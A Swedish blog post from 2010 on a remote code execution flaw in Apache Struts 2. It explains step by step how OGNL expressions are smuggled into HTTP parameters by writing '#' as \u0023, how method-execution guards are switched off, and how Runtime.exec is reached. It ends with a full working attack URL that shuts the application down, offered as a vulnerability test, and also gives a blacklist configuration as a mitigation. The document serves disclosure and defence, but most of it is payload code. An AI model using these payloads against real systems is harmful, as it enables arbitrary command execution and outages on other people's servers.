onsdag 14 juli 2010

Remote execution i Struts 2

Efter att Spring MVC fallit förra månaden så faller nu Struts 2. Det här är nog det värsta jag har sett i Java-världen. Patchad kod är uppladdad men inte släppt än. När 2.2.0 kommer så är det dags för alla Struts2-användare att patcha.

[Uppdatering] Följande konfiguration i struts.xml verkar svartlista Meders attack:
<interceptor-ref name="params">
<param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.* </param>
</interceptor-ref>

Unicode för '#' kringår indatavalidering
Meder Kydyraliev som säkerhetsexperten heter upptäckte för ett år sedan att Struts inte tillåter tecknet '#' i http-parametrar. Detta för att man med '#' når fördefinierade kontextvariabler i XWork såsom #session, #request och #parameters. Men Apache-folket missade det gamla encoding-problemet. Genom att skicka in Unicode för '#', dvs \u0023, så kringgås indatavalideringen.

Http-parametrar för att tillåta statiska och dynamiska metodanrop
Sen upptäckte Meder kontextvariabeln #_memberAccess med det booleska attributet allowStaticAccess som styrde statiska anrop till metoder. Första http-parametern i attack-URL:en blir alltså:
\u0023_memberAccess['allowStaticMethodAccess'] = true

Sen fyller han på med en http-parameter som skapar en Boolean som är falsk:
\u0023foo = new java .lang.Boolean("false")

Det booleanska objektet använder han för att i nästa http-parameter stänga av denyMethodExecution:
\u0023context['xwork.MethodAccessor.denyMethodExecution'] = \u0023foo

Hämta Runtime-objektet och kör valfri kod
Lägg till det en http-parameter för att hämta det aktuella Runtime-objektet:
\u0023rt = @java.lang.Runtime@getRuntime()

... och man är med en sista http-parameter hemma:
\u0023rt.exec('mkdir /tmp/PWNED')

Kolla om din applikation är sårbar
Totalt sett ser ett attack-request ut så här:
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

Ovanstående "snälla" request kan man använda för att se om ens applikation är sårbar. Det kör då java.lang.Runtime.getRuntime().exit(1) på din app.


Referenser
Läs hela Meders blogginlägg:

Inga kommentarer: